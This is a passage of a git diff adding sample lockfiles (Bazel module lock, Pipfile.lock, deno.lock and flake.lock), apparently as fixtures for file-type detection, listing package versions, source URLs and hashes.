+      "toolchainsToRegister": [],
+      "extensionUsages": [],
+      "deps": {
+        "bazel_tools": "bazel_tools@_",
+        "local_config_platform": "local_config_platform@_"
+      }
+    },
+    "rules_proto@5.3.0-21.7": {
+      "name": "rules_proto",
+      "version": "5.3.0-21.7",
+      "key": "rules_proto@5.3.0-21.7",
+      "repoName": "rules_proto",
+      "executionPlatformsToRegister": [],
+      "toolchainsToRegister": [],
+      "extensionUsages": [],
+      "deps": {
+        "bazel_skylib": "bazel_skylib@1.3.0",
+        "com_google_protobuf": "protobuf@21.7",
+        "rules_cc": "rules_cc@0.0.9",
+        "bazel_tools": "bazel_tools@_",
+        "local_config_platform": "local_config_platform@_"
+      }
+    },
+    "rules_python@0.22.1": {
+      "name": "rules_python",
+      "version": "0.22.1",
+      "key": "rules_python@0.22.1",
+      "repoName": "rules_python",
+      "executionPlatformsToRegister": [],
+      "toolchainsToRegister": [
+        "@bazel_tools//tools/python:autodetecting_toolchain"
+      ],
+      "extensionUsages": [],
+      "deps": {
+        "platforms": "platforms@0.0.7",
+        "bazel_skylib": "bazel_skylib@1.3.0",
+        "rules_proto": "rules_proto@5.3.0-21.7",
+        "com_google_protobuf": "protobuf@21.7",
+        "bazel_tools": "bazel_tools@_",
+        "local_config_platform": "local_config_platform@_"
+      }
+    },
+    "buildozer@6.4.0.2": {
+      "name": "buildozer",
+      "version": "6.4.0.2",
+      "key": "buildozer@6.4.0.2",
+      "repoName": "buildozer",
+      "executionPlatformsToRegister": [],
+      "toolchainsToRegister": [],
+      "extensionUsages": [],
+      "deps": {
+        "bazel_tools": "bazel_tools@_",
+        "local_config_platform": "local_config_platform@_"
+      }
+    },
+    "platforms@0.0.7": {
+      "name": "platforms",
+      "version": "0.0.7",
+      "key": "platforms@0.0.7",
+      "repoName": "platforms",
+      "executionPlatformsToRegister": [],
+      "toolchainsToRegister": [],
+      "extensionUsages": [],
+      "deps": {
+        "rules_license": "rules_license@0.0.7",
+        "bazel_tools": "bazel_tools@_",
+        "local_config_platform": "local_config_platform@_"
+      }
+    },
+    "protobuf@21.7": {
+      "name": "protobuf",
+      "version": "21.7",
+      "key": "protobuf@21.7",
+      "repoName": "protobuf",
+      "executionPlatformsToRegister": [],
+      "toolchainsToRegister": [],
+      "extensionUsages": [],
+      "deps": {
+        "bazel_skylib": "bazel_skylib@1.3.0",
+        "rules_python": "rules_python@0.22.1",
+        "rules_cc": "rules_cc@0.0.9",
+        "rules_proto": "rules_proto@5.3.0-21.7",
+        "rules_java": "rules_java@7.4.0",
+        "rules_pkg": "rules_pkg@0.7.0",
+        "com_google_abseil": "abseil-cpp@20211102.0",
+        "zlib": "zlib@1.3",
+        "upb": "upb@0.0.0-20220923-a547704",
+        "rules_jvm_external": "rules_jvm_external@4.4.2",
+        "com_google_googletest": "googletest@1.11.0",
+        "bazel_tools": "bazel_tools@_",
+        "local_config_platform": "local_config_platform@_"
+      }
+    },
+    "zlib@1.3": {
+      "name": "zlib",
+      "version": "1.3",
+      "key": "zlib@1.3",
+      "repoName": "zlib",
+      "executionPlatformsToRegister": [],
+      "toolchainsToRegister": [],
+      "extensionUsages": [],
+      "deps": {
+        "platforms": "platforms@0.0.7",
+        "rules_cc": "rules_cc@0.0.9",
+        "bazel_tools": "bazel_tools@_",
+        "local_config_platform": "local_config_platform@_"
+      }
+    },
+    "apple_support@1.5.0": {
+      "name": "apple_support",
+      "version": "1.5.0",
+      "key": "apple_support@1.5.0",
+      "repoName": "build_bazel_apple_support",
+      "executionPlatformsToRegister": [],
+      "toolchainsToRegister": [
+        "@local_config_apple_cc_toolchains//:all"
+      ],
+      "extensionUsages": [],
+      "deps": {
+        "bazel_skylib": "bazel_skylib@1.3.0",
+        "platforms": "platforms@0.0.7",
+        "bazel_tools": "bazel_tools@_",
+        "local_config_platform": "local_config_platform@_"
+      }
+    },
+    "bazel_skylib@1.3.0": {
+      "name": "bazel_skylib",
+      "version": "1.3.0",
+      "key": "bazel_skylib@1.3.0",
+      "repoName": "bazel_skylib",
+      "executionPlatformsToRegister": [],
+      "toolchainsToRegister": [
+        "//toolchains/unittest:cmd_toolchain",
+        "//toolchains/unittest:bash_toolchain"
+      ],
+      "extensionUsages": [],
+      "deps": {
+        "platforms": "platforms@0.0.7",
+        "bazel_tools": "bazel_tools@_",
+        "local_config_platform": "local_config_platform@_"
+      }
+    },
+    "rules_pkg@0.7.0": {
+      "name": "rules_pkg",
+      "version": "0.7.0",
+      "key": "rules_pkg@0.7.0",
+      "repoName": "rules_pkg",
+      "executionPlatformsToRegister": [],
+      "toolchainsToRegister": [],
+      "extensionUsages": [],
+      "deps": {
+        "rules_python": "rules_python@0.22.1",
+        "bazel_skylib": "bazel_skylib@1.3.0",
+        "rules_license": "rules_license@0.0.7",
+        "bazel_tools": "bazel_tools@_",
+        "local_config_platform": "local_config_platform@_"
+      }
+    },
+    "abseil-cpp@20211102.0": {
+      "name": "abseil-cpp",
+      "version": "20211102.0",
+      "key": "abseil-cpp@20211102.0",
+      "repoName": "abseil-cpp",
+      "executionPlatformsToRegister": [],
+      "toolchainsToRegister": [],
+      "extensionUsages": [],
+      "deps": {
+        "rules_cc": "rules_cc@0.0.9",
+        "platforms": "platforms@0.0.7",
+        "bazel_tools": "bazel_tools@_",
+        "local_config_platform": "local_config_platform@_"
+      }
+    },
+    "upb@0.0.0-20220923-a547704": {
+      "name": "upb",
+      "version": "0.0.0-20220923-a547704",
+      "key": "upb@0.0.0-20220923-a547704",
+      "repoName": "upb",
+      "executionPlatformsToRegister": [],
+      "toolchainsToRegister": [],
+      "extensionUsages": [],
+      "deps": {
+        "bazel_skylib": "bazel_skylib@1.3.0",
+        "rules_proto": "rules_proto@5.3.0-21.7",
+        "com_google_protobuf": "protobuf@21.7",
+        "com_google_absl": "abseil-cpp@20211102.0",
+        "platforms": "platforms@0.0.7",
+        "bazel_tools": "bazel_tools@_",
+        "local_config_platform": "local_config_platform@_"
+      }
+    },
+    "rules_jvm_external@4.4.2": {
+      "name": "rules_jvm_external",
+      "version": "4.4.2",
+      "key": "rules_jvm_external@4.4.2",
+      "repoName": "rules_jvm_external",
+      "executionPlatformsToRegister": [],
+      "toolchainsToRegister": [],
+      "extensionUsages": [],
+      "deps": {
+        "bazel_skylib": "bazel_skylib@1.3.0",
+        "io_bazel_stardoc": "stardoc@0.5.1",
+        "bazel_tools": "bazel_tools@_",
+        "local_config_platform": "local_config_platform@_"
+      }
+    },
+    "googletest@1.11.0": {
+      "name": "googletest",
+      "version": "1.11.0",
+      "key": "googletest@1.11.0",
+      "repoName": "googletest",
+      "executionPlatformsToRegister": [],
+      "toolchainsToRegister": [],
+      "extensionUsages": [],
+      "deps": {
+        "com_google_absl": "abseil-cpp@20211102.0",
+        "platforms": "platforms@0.0.7",
+        "rules_cc": "rules_cc@0.0.9",
+        "bazel_tools": "bazel_tools@_",
+        "local_config_platform": "local_config_platform@_"
+      }
+    },
+    "stardoc@0.5.1": {
+      "name": "stardoc",
+      "version": "0.5.1",
+      "key": "stardoc@0.5.1",
+      "repoName": "stardoc",
+      "executionPlatformsToRegister": [],
+      "toolchainsToRegister": [],
+      "extensionUsages": [],
+      "deps": {
+        "bazel_skylib": "bazel_skylib@1.3.0",
+        "rules_java": "rules_java@7.4.0",
+        "bazel_tools": "bazel_tools@_",
+        "local_config_platform": "local_config_platform@_"
+      }
+    }
+  },
+  "moduleExtensions": {}
+}
diff --git a/samples/JSON/filenames/Pipfile.lock b/samples/JSON/filenames/Pipfile.lock
new file mode 100644
index 0000000000..950b553686
--- /dev/null
+++ b/samples/JSON/filenames/Pipfile.lock
@@ -0,0 +1,87 @@
+{
+    "_meta": {
+        "hash": {
+            "sha256": "b22dff2ea351d765d7d381d2f180e75f67200f86d6a68f905bee684ab4fa5040"
+        },
+        "pipfile-spec": 6,
+        "requires": {
+            "python_version": "3.9"
+        },
+        "sources": [
+            {
+                "name": "pypi",
+                "url": "https://pypi.org/simple",
+                "verify_ssl": true
+            }
+        ]
+    },
+    "default": {
+        "certifi": {
+            "hashes": [
+                "sha256:1a4995114262bffbc2413b159f2a1a480c969de6e6eb13ee966d470af86af59c",
+                "sha256:719a74fb9e33b9bd44cc7f3a8d94bc35e4049deebe19ba7d8e108280cfd59830"
+            ],
+            "version": "==2020.12.5"
+        },
+        "chardet": {
+            "hashes": [
+                "sha256:0d6f53a15db4120f2b08c94f11e7d93d2c911ee118b6b30a04ec3ee8310179fa",
+                "sha256:f864054d66fd9118f2e67044ac8981a54775ec5b67aed0441892edb553d21da5"
+            ],
+            "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'",
+            "version": "==4.0.0"
+        },
+        "idna": {
+            "hashes": [
+                "sha256:b307872f855b18632ce0c21c5e45be78c0ea7ae4c15c828c20788b26921eb3f6",
+                "sha256:b97d804b1e9b523befed77c48dacec60e6dcb0b5391d57af6a65a312a90648c0"
+            ],
+            "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'",
+            "version": "==2.10"
+        },
+        "pyyaml": {
+            "hashes": [
+                "sha256:08682f6b72c722394747bddaf0aa62277e02557c0fd1c42cb853016a38f8dedf",
+                "sha256:0f5f5786c0e09baddcd8b4b45f20a7b5d61a7e7e99846e3c799b05c7c53fa696",
+                "sha256:129def1b7c1bf22faffd67b8f3724645203b79d8f4cc81f674654d9902cb4393",
+                "sha256:294db365efa064d00b8d1ef65d8ea2c3426ac366c0c4368d930bf1c5fb497f77",
+                "sha256:3b2b1824fe7112845700f815ff6a489360226a5609b96ec2190a45e62a9fc922",
+                "sha256:3bd0e463264cf257d1ffd2e40223b197271046d09dadf73a0fe82b9c1fc385a5",
+                "sha256:4465124ef1b18d9ace298060f4eccc64b0850899ac4ac53294547536533800c8",
+                "sha256:49d4cdd9065b9b6e206d0595fee27a96b5dd22618e7520c33204a4a3239d5b10",
+                "sha256:4e0583d24c881e14342eaf4ec5fbc97f934b999a6828693a99157fde912540cc",
+                "sha256:5accb17103e43963b80e6f837831f38d314a0495500067cb25afab2e8d7a4018",
+                "sha256:607774cbba28732bfa802b54baa7484215f530991055bb562efbed5b2f20a45e",
+                "sha256:6c78645d400265a062508ae399b60b8c167bf003db364ecb26dcab2bda048253",
+                "sha256:74c1485f7707cf707a7aef42ef6322b8f97921bd89be2ab6317fd782c2d53183",
+                "sha256:8c1be557ee92a20f184922c7b6424e8ab6691788e6d86137c5d93c1a6ec1b8fb",
+                "sha256:bb4191dfc9306777bc594117aee052446b3fa88737cd13b7188d0e7aa8162185",
+                "sha256:c20cfa2d49991c8b4147af39859b167664f2ad4561704ee74c1de03318e898db",
+                "sha256:d2d9808ea7b4af864f35ea216be506ecec180628aced0704e34aca0b040ffe46",
+                "sha256:dd5de0646207f053eb0d6c74ae45ba98c3395a571a2891858e87df7c9b9bd51b",
+                "sha256:e1d4970ea66be07ae37a3c2e48b5ec63f7ba6804bdddfdbd3cfd954d25a82e63",
+                "sha256:e4fac90784481d221a8e4b1162afa7c47ed953be40d31ab4629ae917510051df",
+                "sha256:fa5ae20527d8e831e8230cbffd9f8fe952815b2b7dae6ffec25318803a7528fc"
+            ],
+            "index": "pypi",
+            "version": "==5.4.1"
+        },
+        "requests": {
+            "hashes": [
+                "sha256:27973dd4a904a4f13b263a19c866c13b92a39ed1c964655f025f3f8d3d75b804",
+                "sha256:c210084e36a42ae6b9219e00e48287def368a26d03a048ddad7bfee44f75871e"
+            ],
+            "index": "pypi",
+            "version": "==2.25.1"
+        },
+        "urllib3": {
+            "hashes": [
+                "sha256:1b465e494e3e0d8939b50680403e3aedaa2bc434b7d5af64dfd3c958d7f5ae80",
+                "sha256:de3eedaad74a2683334e282005cd8d7f22f4d55fa690a2a1020a416cb0a47e73"
+            ],
+            "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4' and python_version < '4'",
+            "version": "==1.26.3"
+        }
+    },
+    "develop": {}
+}
diff --git a/samples/JSON/filenames/deno.lock b/samples/JSON/filenames/deno.lock
new file mode 100644
index 0000000000..54e0176f2e
--- /dev/null
+++ b/samples/JSON/filenames/deno.lock
@@ -0,0 +1,96 @@
+{
+  "version": "2",
+  "remote": {
+    "https://deno.land/std@0.142.0/hash/sha1.ts": "679d476b80466c73a1ad6c9ade4a44c188b91bc6bf3f97644209c280c9ec076b",
+    "https://deno.land/std@0.198.0/_util/diff.ts": "1a3c044aedf77647d6cac86b798c6417603361b66b54c53331b312caeb447aea",
+    "https://deno.land/std@0.198.0/_util/os.ts": "d932f56d41e4f6a6093d56044e29ce637f8dcc43c5a90af43504a889cf1775e3",
+    "https://deno.land/std@0.198.0/archive/_common.ts": "3fc6974d41f1d2e55edf839a4574db0b5e6f4f62abb6cc3d2c3ca13eb6d08b07",
+    "https://deno.land/std@0.198.0/archive/untar.ts": "b7bd29929ebc819cb5b7265d1e491e4061e31828b6235e8ff5ad17ddfb77d09e",
+    "https://deno.land/std@0.198.0/assert/_constants.ts": "8a9da298c26750b28b326b297316cdde860bc237533b07e1337c021379e6b2a9",
+    "https://deno.land/std@0.198.0/assert/_format.ts": "a69126e8a469009adf4cf2a50af889aca364c349797e63174884a52ff75cf4c7",
+    "https://deno.land/std@0.198.0/assert/assert.ts": "9a97dad6d98c238938e7540736b826440ad8c1c1e54430ca4c4e623e585607ee",
+    "https://deno.land/std@0.198.0/assert/assert_equals.ts": "a0ee60574e437bcab2dcb79af9d48dc88845f8fd559468d9c21b15fd638ef943",
+    "https://deno.land/std@0.198.0/assert/assertion_error.ts": "4d0bde9b374dfbcbe8ac23f54f567b77024fb67dbb1906a852d67fe050d42f56",
+    "https://deno.land/std@0.198.0/assert/equal.ts": "9f1a46d5993966d2596c44e5858eec821859b45f783a5ee2f7a695dfc12d8ece",
+    "https://deno.land/std@0.198.0/bytes/bytes_list.ts": "31d664f4d42fa922066405d0e421c56da89d751886ee77bbe25a88bf0310c9d0",
+    "https://deno.land/std@0.198.0/bytes/concat.ts": "d26d6f3d7922e6d663dacfcd357563b7bf4a380ce5b9c2bbe0c8586662f25ce2",
+    "https://deno.land/std@0.198.0/bytes/copy.ts": "939d89e302a9761dcf1d9c937c7711174ed74c59eef40a1e4569a05c9de88219",
+    "https://deno.land/std@0.198.0/encoding/base64.ts": "144ae6234c1fbe5b68666c711dc15b1e9ee2aef6d42b3b4345bf9a6c91d70d0d",
+    "https://deno.land/std@0.198.0/flags/mod.ts": "a5ac18af6583404f21ea03771f8816669d901e0ff4374020870334d6f61d73d5",
+    "https://deno.land/std@0.198.0/fmt/colors.ts": "a7eecffdf3d1d54db890723b303847b6e0a1ab4b528ba6958b8f2e754cf1b3bc",
+    "https://deno.land/std@0.198.0/fs/_util.ts": "fbf57dcdc9f7bc8128d60301eece608246971a7836a3bb1e78da75314f08b978",
+    "https://deno.land/std@0.198.0/fs/copy.ts": "b4f7fe87190d7b310c88a2d9ff845210c0a2b7b0a094ec509747359023beb7d6",
+    "https://deno.land/std@0.198.0/fs/empty_dir.ts": "c3d2da4c7352fab1cf144a1ecfef58090769e8af633678e0f3fabaef98594688",
+    "https://deno.land/std@0.198.0/fs/ensure_dir.ts": "dc64c4c75c64721d4e3fb681f1382f803ff3d2868f08563ff923fdd20d071c40",
+    "https://deno.land/std@0.198.0/fs/ensure_file.ts": "c38602670bfaf259d86ca824a94e6cb9e5eb73757fefa4ebf43a90dd017d53d9",
+    "https://deno.land/std@0.198.0/fs/ensure_link.ts": "c0f5b2f0ec094ed52b9128eccb1ee23362a617457aa0f699b145d4883f5b2fb4",
+    "https://deno.land/std@0.198.0/fs/ensure_symlink.ts": "5006ab2f458159c56d689b53b1e48d57e05eeb1eaf64e677f7f76a30bc4fdba1",
+    "https://deno.land/std@0.198.0/fs/eol.ts": "f1f2eb348a750c34500741987b21d65607f352cf7205f48f4319d417fff42842",
+    "https://deno.land/std@0.198.0/fs/exists.ts": "29c26bca8584a22876be7cb8844f1b6c8fc35e9af514576b78f5c6884d7ed02d",
+    "https://deno.land/std@0.198.0/fs/expand_glob.ts": "3e427436f4b3768727bd7de84169f10db75fe50b32e6dde567b8ae558a8d857a",
+    "https://deno.land/std@0.198.0/fs/mod.ts": "bc3d0acd488cc7b42627044caf47d72019846d459279544e1934418955ba4898",
+    "https://deno.land/std@0.198.0/fs/move.ts": "b4f8f46730b40c32ea3c0bc8eb0fd0e8139249a698883c7b3756424cf19785c9",
+    "https://deno.land/std@0.198.0/fs/walk.ts": "21a3cc5ff39c38acc93575213f54d5f1d44c5c6614ed97603d171eb0bf56a565",
+    "https://deno.land/std@0.198.0/io/buf_reader.ts": "2bccff0878537ef201c5051fc0db0ce8196388c5ea69d2be6be1900fe48c5f4b",
+    "https://deno.land/std@0.198.0/io/buf_writer.ts": "48c33c8f00b61dcbc7958706741cec8e59810bd307bc6a326cbd474fe8346dfd",
+    "https://deno.land/std@0.198.0/io/buffer.ts": "4d6883daeb2e698579c4064170515683d69f40f3de019bfe46c5cf31e74ae793",
+    "https://deno.land/std@0.198.0/io/copy_n.ts": "c055296297b9d4897d90d1ac056b072dc02614e60c67f438e23fbce052ea4c69",
+    "https://deno.land/std@0.198.0/io/limited_reader.ts": "6c9a216f8eef39c1ee2a6b37a29372c8fc63455b2eeb91f06d9646f8f759fc8b",
+    "https://deno.land/std@0.198.0/io/mod.ts": "2665bcccc1fd6e8627cca167c3e92aaecbd9897556b6f69e6d258070ef63fd9b",
+    "https://deno.land/std@0.198.0/io/multi_reader.ts": "9c2a0a31686c44b277e16da1d97b4686a986edcee48409b84be25eedbc39b271",
+    "https://deno.land/std@0.198.0/io/read_delim.ts": "c02b93cc546ae8caad8682ae270863e7ace6daec24c1eddd6faabc95a9d876a3",
+    "https://deno.land/std@0.198.0/io/read_int.ts": "7cb8bcdfaf1107586c3bacc583d11c64c060196cb070bb13ae8c2061404f911f",
+    "https://deno.land/std@0.198.0/io/read_lines.ts": "c526c12a20a9386dc910d500f9cdea43cba974e853397790bd146817a7eef8cc",
+    "https://deno.land/std@0.198.0/io/read_long.ts": "f0aaa420e3da1261c5d33c5e729f09922f3d9fa49f046258d4ff7a00d800c71e",
+    "https://deno.land/std@0.198.0/io/read_range.ts": "46a2263d0f8369b6d9abb0b25d99ceb65ff08d621fc57bcc53832e6979295043",
+    "https://deno.land/std@0.198.0/io/read_short.ts": "805cb329574b850b84bf14a92c052c59b5977a492cd780c41df8ad40826c1a20",
+    "https://deno.land/std@0.198.0/io/read_string_delim.ts": "5dc9f53bdf78e7d4ee1e56b9b60352238ab236a71c3e3b2a713c3d78472a53ce",
+    "https://deno.land/std@0.198.0/io/slice_long_to_bytes.ts": "48d9bace92684e880e46aa4a2520fc3867f9d7ce212055f76ecc11b22f9644b7",
+    "https://deno.land/std@0.198.0/io/string_reader.ts": "da0f68251b3d5b5112485dfd4d1b1936135c9b4d921182a7edaf47f74c25cc8f",
+    "https://deno.land/std@0.198.0/io/string_writer.ts": "8a03c5858c24965a54c6538bed15f32a7c72f5704a12bda56f83a40e28e5433e",
+    "https://deno.land/std@0.198.0/path/_basename.ts": "057d420c9049821f983f784fd87fa73ac471901fb628920b67972b0f44319343",
+    "https://deno.land/std@0.198.0/path/_constants.ts": "e49961f6f4f48039c0dfed3c3f93e963ca3d92791c9d478ac5b43183413136e0",
+    "https://deno.land/std@0.198.0/path/_dirname.ts": "355e297236b2218600aee7a5301b937204c62e12da9db4b0b044993d9e658395",
+    "https://deno.land/std@0.198.0/path/_extname.ts": "eaaa5aae1acf1f03254d681bd6a8ce42a9cb5b7ff2213a9d4740e8ab31283664",
+    "https://deno.land/std@0.198.0/path/_format.ts": "4a99270d6810f082e614309164fad75d6f1a483b68eed97c830a506cc589f8b4",
+    "https://deno.land/std@0.198.0/path/_from_file_url.ts": "7e4e5626089785adddb061f1b9f4932d6b21c7df778e7449531a11e32048245c",
+    "https://deno.land/std@0.198.0/path/_interface.ts": "6471159dfbbc357e03882c2266d21ef9afdb1e4aa771b0545e90db58a0ba314b",
+    "https://deno.land/std@0.198.0/path/_is_absolute.ts": "05dac10b5e93c63198b92e3687baa2be178df5321c527dc555266c0f4f51558c",
+    "https://deno.land/std@0.198.0/path/_join.ts": "fd78555bc34d5f188918fc7018dfe8fe2df5bbad94a3b30a433666c03934d77f",
+    "https://deno.land/std@0.198.0/path/_normalize.ts": "a19ec8706b2707f9dd974662a5cd89fad438e62ab1857e08b314a8eb49a34d81",
+    "https://deno.land/std@0.198.0/path/_parse.ts": "0f9b0ff43682dd9964eb1c4398610c4e165d8db9d3ac9d594220217adf480cfa",
+    "https://deno.land/std@0.198.0/path/_relative.ts": "27bdeffb5311a47d85be26d37ad1969979359f7636c5cd9fcf05dcd0d5099dc5",
+    "https://deno.land/std@0.198.0/path/_resolve.ts": "3bf0287d62488cad08c3c219a9708c4a4c658c65d7b4400fd99afdc3ba10a64d",
+    "https://deno.land/std@0.198.0/path/_to_file_url.ts": "739bfda583598790b2e77ce227f2bb618f6ebdb939788cea47555b43970ec58c",
+    "https://deno.land/std@0.198.0/path/_to_namespaced_path.ts": "0d5f4caa2ed98ef7a8786286df6af804b50e38859ae897b5b5b4c8c5930a75c8",
+    "https://deno.land/std@0.198.0/path/_util.ts": "4e191b1bac6b3bf0c31aab42e5ca2e01a86ab5a0d2e08b75acf8585047a86221",
+    "https://deno.land/std@0.198.0/path/basename.ts": "6f08fbb90dbfcf320765b3abb01f995b1723f75e2534acfd5380e202c802a3aa",
+    "https://deno.land/std@0.198.0/path/common.ts": "ee7505ab01fd22de3963b64e46cff31f40de34f9f8de1fff6a1bd2fe79380000",
+    "https://deno.land/std@0.198.0/path/dirname.ts": "098996822a31b4c46e1eb52a19540d3c6f9f54b772fc8a197939eeabc29fca2f",
+    "https://deno.land/std@0.198.0/path/extname.ts": "9b83c62fd16505739541f7a3ab447d8972da39dbf668d47af2f93206c2480893",
+    "https://deno.land/std@0.198.0/path/format.ts": "cb22f95cc7853d590b87708cc9441785e760d711188facff3d225305a8213aca",
+    "https://deno.land/std@0.198.0/path/from_file_url.ts": "a6221cfc928928ec4d9786d767dfac98fa2ab746af0786446c9834a07b98817e",
+    "https://deno.land/std@0.198.0/path/glob.ts": "d479e0a695621c94d3fd7fe7abd4f9499caf32a8de13f25073451c6ef420a4e1",
+    "https://deno.land/std@0.198.0/path/is_absolute.ts": "6b3d36352eb7fa29edb53f9e7b09b1aeb022a3c5465764f6cc5b8c41f9736197",
+    "https://deno.land/std@0.198.0/path/join.ts": "4a2867ff2f3c81ffc9eb3d56dade16db6f8bd3854f269306d23dad4115089c84",
+    "https://deno.land/std@0.198.0/path/mod.ts": "7765507696cb321994cdacfc19ee3ba61e8e3ebf4bd98fa75a276cf5dc18ce2a",
+    "https://deno.land/std@0.198.0/path/normalize.ts": "7d992cd262b2deefa842d93a8ba2ed51f3949ba595b1d07f627ac2cddbc74808",
+    "https://deno.land/std@0.198.0/path/parse.ts": "031fe488b3497fb8312fc1dc3c3d6c2d80707edd9c661e18ee9fd20f95edf322",
+    "https://deno.land/std@0.198.0/path/posix.ts": "0a1c1952d132323a88736d03e92bd236f3ed5f9f079e5823fae07c8d978ee61b",
+    "https://deno.land/std@0.198.0/path/relative.ts": "7db80c5035016174267da16321a742d76e875215c317859a383b12f413c6f5d6",
+    "https://deno.land/std@0.198.0/path/resolve.ts": "103b62207726a27f28177f397008545804ecb20aaf00623af1f622b18cd80b9f",
+    "https://deno.land/std@0.198.0/path/separator.ts": "0fb679739d0d1d7bf45b68dacfb4ec7563597a902edbaf3c59b50d5bcadd93b1",
+    "https://deno.land/std@0.198.0/path/to_file_url.ts": "dd32f7a01bbf3b15b5df46796659984b372973d9b2d7d59bcf0eb990763a0cb5",
+    "https://deno.land/std@0.198.0/path/to_namespaced_path.ts": "4e643ab729bf49ccdc166ad48d2de262ff462938fcf2a44a4425588f4a0bd690",
+    "https://deno.land/std@0.198.0/path/win32.ts": "8b3f80ef7a462511d5e8020ff490edcaa0a0d118f1b1e9da50e2916bdd73f9dd",
+    "https://deno.land/std@0.198.0/streams/_common.ts": "f45cba84f0d813de3326466095539602364a9ba521f804cc758f7a475cda692d",
+    "https://deno.land/std@0.198.0/streams/copy.ts": "75cbc795ff89291df22ddca5252de88b2e16d40c85d02840593386a8a1454f71",
+    "https://deno.land/std@0.198.0/streams/read_all.ts": "ee319772fb0fd28302f97343cc48dfcf948f154fd0d755d8efe65814b70533be",
+    "https://deno.land/std@0.198.0/streams/write_all.ts": "aec90152978581ea62d56bb53a5cbf487e6a89c902f87c5969681ffbdf32b998",
+    "https://deno.land/x/denoflate@1.2.1/mod.ts": "f5628e44b80b3d80ed525afa2ba0f12408e3849db817d47a883b801f9ce69dd6",
+    "https://deno.land/x/denoflate@1.2.1/pkg/denoflate.js": "b9f9ad9457d3f12f28b1fb35c555f57443427f74decb403113d67364e4f2caf4",
+    "https://deno.land/x/denoflate@1.2.1/pkg/denoflate_bg.wasm.js": "d581956245407a2115a3d7e8d85a9641c032940a8e810acbd59ca86afd34d44d",
+    "https://deno.land/x/dir@1.4.0/cache_dir/mod.ts": "8a82889db79c547fbbd3536c9c964047657b19fb59365c5fa59afc46082f9fe5",
+    "https://deno.land/x/dir@1.5.1/data_local_dir/mod.ts": "91eb1c4bfadfbeda30171007bac6d85aadacd43224a5ed721bbe56bc64e9eb66"
+  }
+}
diff --git a/samples/JSON/filenames/flake.lock b/samples/JSON/filenames/flake.lock
new file mode 100644
index 0000000000..d93101b7f9
--- /dev/null
+++ b/samples/JSON/filenames/flake.lock
@@ -0,0 +1,191 @@
+{
+  "nodes": {
+    "fenix": {
+      "inputs": {
+        "nixpkgs": [
+          "nixpkgs"
+        ],
+        "rust-analyzer-src": "rust-analyzer-src"
+      },
+      "locked": {
+        "lastModified": 1668666406,
+        "narHash": "sha256-klri/lJdiafpP5LWBbV++UkFV4O1v9o/Fuu6+5V2bx0=",
+        "owner": "nix-community",
+        "repo": "fenix",
+        "rev": "8e9ee4c3ab37db78a5c315461deb47e339af5446",
+        "type": "github"
+      },
+      "original": {
+        "owner": "nix-community",
+        "repo": "fenix",
+        "type": "github"
+      }
+    },
+    "figsoda-pkgs": {
+      "inputs": {
+        "nixpkgs": [
+          "nixpkgs"
+        ],
+        "rust-templates": "rust-templates",
+        "ymdl": "ymdl"
+      },
+      "locked": {
+        "lastModified": 1668672832,
+        "narHash": "sha256-YhKtSVLtktsdqUuUE0pabXUgvRmmkqog5urDnBeXlMY=",
+        "owner": "figsoda",
+        "repo": "pkgs",
+        "rev": "4778ce52681c0c28176430f420b6b2b8c93738ad",
+        "type": "github"
+      },
+      "original": {
+        "owner": "figsoda",
+        "repo": "pkgs",
+        "type": "github"
+      }
+    },
+    "flake-compat": {
+      "flake": false,
+      "locked": {
+        "lastModified": 1650374568,
+        "narHash": "sha256-Z+s0J8/r907g149rllvwhb4pKi8Wam5ij0st8PwAh+E=",
+        "owner": "edolstra",
+        "repo": "flake-compat",
+        "rev": "b4a34015c698c7793d592d66adbab377907a2be8",
+        "type": "github"
+      },
+      "original": {
+        "owner": "edolstra",
+        "repo": "flake-compat",
+        "type": "github"
+      }
+    },
+    "nixos-hardware": {
+      "locked": {
+        "lastModified": 1668334946,
+        "narHash": "sha256-omMbUj4r5DVBWh7KxkoO/Z/1V1shVR6Ls4jXNB4mr3U=",
+        "owner": "nixos",
+        "repo": "nixos-hardware",
+        "rev": "e0452b33ab0ef16ffe075e980644ed92a6a200bb",
+        "type": "github"
+      },
+      "original": {
+        "owner": "nixos",
+        "repo": "nixos-hardware",
+        "type": "github"
+      }
+    },
+    "nixpkgs": {
+      "locked": {
+        "lastModified": 1668505710,
+        "narHash": "sha256-DulcfsGjpSXL9Ma0iQIsb3HRbARCDcA+CNH67pPyMQ0=",
+        "owner": "nixos",
+        "repo": "nixpkgs",
+        "rev": "85d6b3990def7eef45f4502a82496de02a02b6e8",
+        "type": "github"
+      },
+      "original": {
+        "owner": "nixos",
+        "ref": "nixos-unstable",
+        "repo": "nixpkgs",
+        "type": "github"
+      }
+    },
+    "nixpkgs-hammering": {
+      "inputs": {
+        "flake-compat": "flake-compat",
+        "nixpkgs": [
+          "nixpkgs"
+        ],
+        "utils": "utils"
+      },
+      "locked": {
+        "lastModified": 1668554621,
+        "narHash": "sha256-5wZGGTahP1Tlu+WAgGx8Q9YnnHtyhfScl9j6X3W+Toc=",
+        "owner": "jtojnar",
+        "repo": "nixpkgs-hammering",
+        "rev": "1b038ef38fececb39b65a4cdfa7273ed9d9359b4",
+        "type": "github"
+      },
+      "original": {
+        "owner": "jtojnar",
+        "repo": "nixpkgs-hammering",
+        "type": "github"
+      }
+    },
+    "root": {
+      "inputs": {
+        "fenix": "fenix",
+        "figsoda-pkgs": "figsoda-pkgs",
+        "nixos-hardware": "nixos-hardware",
+        "nixpkgs": "nixpkgs",
+        "nixpkgs-hammering": "nixpkgs-hammering"
+      }
+    },
+    "rust-analyzer-src": {
+      "flake": false,
+      "locked": {
+        "lastModified": 1668618659,
+        "narHash": "sha256-6V9hdKc1bq2TxOHK2fxWCI5jImsda0iZyZ3ZGaFLnx4=",
+        "owner": "rust-lang",
+        "repo": "rust-analyzer",
+        "rev": "9cf5c2230df89c8a35c92af6d34a90e6f15ef3fc",
+        "type": "github"
+      },
+      "original": {
+        "owner": "rust-lang",
+        "ref": "nightly",
+        "repo": "rust-analyzer",
+        "type": "github"
+      }
+    },
+    "rust-templates": {
+      "flake": false,
+      "locked": {
+        "lastModified": 1666719465,
+        "narHash": "sha256-RkI+oyyJXpovx7VR+jIGo1hsWF5huAcXye88SYk0OUk=",
+        "owner": "figsoda",
+        "repo": "rust-templates",
+        "rev": "b96cde905a714dd11b2d610ea71379c516f0903e",
+        "type": "github"
